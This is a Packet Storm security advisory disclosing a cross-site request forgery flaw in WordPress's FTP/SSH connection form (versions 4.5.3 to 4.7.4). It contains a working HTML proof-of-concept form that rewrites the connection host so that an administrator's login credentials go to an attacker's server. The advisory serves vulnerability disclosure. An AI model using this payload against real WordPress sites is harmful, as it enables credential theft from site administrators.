WordPress Connection Information Cross Site Request Forgery

2017-04-20T00:00:00
ID PACKETSTORM:142246
Type packetstorm
Reporter Yorick Koster
Modified 2017-04-20T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------  
Cross-Site Request Forgery in WordPress Connection Information  
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Yorick Koster, July 2016  
  
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Abstract  
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The FTP/SSH form functionality of WordPress was found to be vulnerable  
to Cross-Site Request Forgery. This vulnerability can be used to  
overwrite the FTP or SSH connection settings of the affected WordPress  
site. An attacker can use this issue to trick an Administrator into  
logging into the attacker's FTP or SSH server, disclosing his/her login  
credentials to the attacker. In order to exploit this vulnerability, the  
attacker has to lure/force a logged on WordPress Administrator into  
opening a malicious website.  
  
  
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OVE ID  
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OVE-20160717-0004  
  
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Tested versions  
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This issue was successfully tested on the WordPress version 4.5.3 up  
till and including version 4.7.4.  
  
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Fix  
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There is currently no fix available.  
  
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Details  
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html  
  
This issue exists in the method request_filesystem_credentials() (/wp-admin/includes/file.php). It allows overwriting of the values:  
  
- hostname  
- username  
- connection_type  
  
The request_filesystem_credentials() method is called in various locations in WordPress. The connection information is updated if a POST request contains a password or public & private key value (in case of connection type ssh). In order to trigger this issue, the WordPress installation must not be able to write to the wp-content folder. Also, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.  
  
Proof of concept  
  
<html>  
<body>  
<form action="http://<target>/wp-admin/plugins.php" method="POST">  
<input type="hidden" name="hostname" value="sumofpwn.nl" />  
<input type="hidden" name="connection_type" value="ftp" />  
<input type="hidden" name="password" value="password" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its  
goal is to contribute to the security of popular, widely used OSS  
projects in a fun and educational way.  
  
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